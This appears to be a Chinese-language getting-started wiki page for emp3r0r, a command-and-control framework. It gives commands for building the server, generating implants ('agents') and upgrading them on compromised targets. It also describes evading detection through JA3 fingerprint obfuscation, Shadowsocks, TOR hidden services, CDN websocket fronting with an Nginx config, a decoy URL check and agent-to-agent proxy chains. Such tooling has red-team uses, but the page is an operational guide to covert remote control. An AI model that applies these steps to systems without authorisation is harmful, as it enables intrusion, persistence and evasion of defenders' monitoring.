-
-
Notifications
You must be signed in to change notification settings - Fork 256
Getting Started (zh‐CN)
emp3r0r 是一个C2框架,允许通过终端UI远程管理目标(agent)。它支持多种传输机制进行安全通信。
主要功能:
- 安全传输:通过TLS的HTTP2、Shadowsocks (TCP/UDP)、TOR、CDN通过Websocket等。
- 跨平台支持:支持所有CPU架构的Linux,Windows (386/amd64)。
- 灵活配置:支持自定义安装路径、生成agent和通信方式。
# clone the repository and build
git clone https://github.com/jm33-m0/emp3r0r.git && cd ./emp3r0r/core && ./emp3r0r --release
# unarchive the release tarball and install
tar -xvf emp3r0r.tar.zst && cd emp3r0r-build && sudo ./emp3r0r --install
选项2:从emp3r0r releases下载最新版本
解压文件并安装:
cd emp3r0r-build && sudo ./emp3r0r --install
默认情况下,emp3r0r安装到 /usr/local/lib/emp3r0r
目录。
如果需要安装到自定义目录,可以运行:
PREFIX=/custom/path ./emp3r0r --install
确保安装了 tmux
来查看终端UI。首次运行时会生成服务器证书,并要求输入C2服务器的名称。
安装完成后,运行以下命令启动C2 UI:
emp3r0r
进入Agent生成器:
use gen_agent
使用 set <option> <value>
命令设置所需选项:
set cc_host example.com
配置完成后,生成Agent可执行文件:
run
Agent可执行文件将保存到 ~/.emp3r0r
目录中。
要在已连接的目标上升级Agent:
upgrade_agent
默认情况下启用基于HTTP2的TLS安全通信。
规避JA3指纹识别:通过流量混淆,避免通过SSL/TLS客户端指纹识别技术(如JA3)的检测。
Shadowsocks:通过AEAD_CHACHA20_POLY1305加密算法对流量进行混淆,使其难以被检测。
KCP:可以选择启用KCP以优化UDP流量。
set shadowsocks on
set shadowsocks bare
要在emp3r0r中使用TOR,请首先在服务器上设置隐藏服务。
示例TOR配置文件 (/etc/tor/torrc
):
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000
这里8000
为C2端口,443
为隐藏服务端口。注意:保持端口 443
不变,因为在emp3r0r中这个端口是硬编码的。
配置完成后,获取你的onion域名:
sudo cat /var/lib/tor/hidden_service/hostname
这会返回你的 .onion
地址,例如:cc.onion
。
生成Agent时,使用TOR的 .onion
地址作为C2服务器地址:
set cc_host cc.onion
这样确保Agent通过TOR进行连接。在运行Agent之前,确保目标系统上已经运行TOR代理(socks5://127.0.0.1:9050
)。
默认情况下,Agent会使用本地的TOR代理(127.0.0.1:9050
)。首先运行TOR代理,然后启动Agent:
./agent
要使用CDN,首先配置CDN提供商(如Cloudflare)将Websocket流量转发到你的C2服务器。
典型架构如下:
agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC
Nginx应将Websocket流量代理到emp3r0r C2服务器。示例Nginx配置:
location /emp3r0r {
proxy_pass http://127.0.0.1:9000/ws;
proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
# 显示真实IP
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
生成Agent时,使用你的域名作为C2服务器地址。例如,如果使用Cloudflare:
set cc_host wss://yourcdn.com/emp3r0r
在C2服务器上启用CDN支持:
emp3r0r -cdn2proxy 9000
这里的 9000
是Websocket服务器的监听端口。
emp3r0r的Agent可以通过上游代理(如HTTP或SOCKS代理)连接到C2服务器。在生成Agent时设置代理地址即可。
配置一个“合法”URL(例如 https://github.com
)来隐藏C2流量。Agent会检查此URL,以决定是否连接到C2服务器。
Agent可以使用UDP广播进行通信,并形成代理链,以便无法直接访问互联网的Agent可以通过其他已连接的Agent路由流量。
Agent可以使用DNS over HTTPS来安全地解析域名(例如C2连接的域名)。
-
VERBOSE=true
:启用Agent日志记录。 -
PERSISTENT=true
:防止Agent自我删除。 -
REPLACE_AGENT=true
:替换目标上现有的Agent进程。 -
ELVSH=true
:将Agent作为交互式elvsh
shell运行。 -
-version
:查看Agent版本。
该功能允许一个已连接的Agent代理另一个无法直接连接到C2的Agent,通过中间代理实现连接。
use bring2cc
set target 192.168.1.10
在目标系统上直接运行Agent可执行文件:
./agent
在目标系统上启动TOR代理,然后运行Agent:
./agent
使用你的域名作为C2服务器,并在生成Agent时指定CDN代理:
set cc_host wss://yourcdn.com/emp3r0r